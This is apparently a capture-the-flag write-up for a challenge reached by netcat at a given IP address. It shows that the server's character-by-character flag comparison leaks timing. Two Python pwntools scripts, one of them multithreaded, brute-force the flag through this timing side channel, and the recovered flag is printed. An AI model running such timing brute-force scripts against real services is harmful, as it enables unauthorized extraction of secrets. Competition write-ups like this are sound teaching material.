Approaching the challenge we only get a simple description:
nc 167.172.124.190 9002
Starting up by fuzzing the server with variable lengths of input, we always got the Bad Flag
response but with varying time frames based on the input length then it wasn't long until we realized that our input is simply compared with the flag on the server and each character takes approximately 1 second.
We then wrote a simple script to approach the challenge as below
from pwn import *
import string
flag = 'EGCTF{'
printable = string.printable
while flag[-1:] != '}':
for i in printable:
trial = flag + i
r = remote('167.172.124.190', 9002, level='error')
r.sendline(trial)
res = r.recv(timeout=len(trial))
if 'Bad' not in res:
flag += i
print flag
break
print 'Flag: ' + flag
but after running the script for a while and our team members finding other flags we deduced that it is most probably sha256
which is 64 bytes so instead of bruteforcing with string.printable
we only need the 16 hex bytes and the closing curly bracket but still it will take too long given the long response time of the server.
At that moment we decided to attempt to write a multithreaded script to reduce the time of each trial by 17 times (the bruteforce character domain) which will give us a better shot at getting the flag faster. The problem was none of us tried writing a multithreaded script before but of course familiar with the concept so with a couple of google searches we wrote a new script
from pwn import *
from threading import Thread
flag = 'EGCTF{'
keys = {'a':0, 'b':0, 'c':0, 'd':0, 'e':0, 'f':0, '0':0, '1':0, '2':0, '3':0, '4':0, '5':0, '6':0, '7':0, '8':0, '9':0, '}':0}
def checkchar(char):
trial = flag + char
r = remote('167.172.124.190', 9002, level='error')
r.sendline(trial)
res = r.recv(timeout=len(trial))
if 'Bad' not in res:
keys[char] = 1
hexa = '0123456789abcdef}'
while flag[-1:] != '}':
threads = list()
print('Current Flag: ' + flag)
print('Current Hash Offset Trial: ' + str(len(flag) - len('EGCTF{') + 1))
for i in hexa:
t = Thread(target=checkchar, args=i)
t.start()
threads.append(t)
for t in threads:
t.join()
counter = 0
# verbose output
for i in keys:
if keys[i]:
counter += 1
print i + ':' + str(keys[i]) + ', ',
print ''
# detecting false positives or negative result
if counter != 1:
print('SERVER ERROR.')
sleep(1)
continue
for k in keys:
if keys[k]:
flag += k
keys[k] = 0
break
print('Flag: ' + flag)
As expected it was much faster and we got the full flag EGCTF{73b433927afbca56a9f867df43a78575bfc8fdb839916074c6efcf2de10d4d0a}
Ironically the flag was reduced to 10 bytes instead of 64 after we got it :"D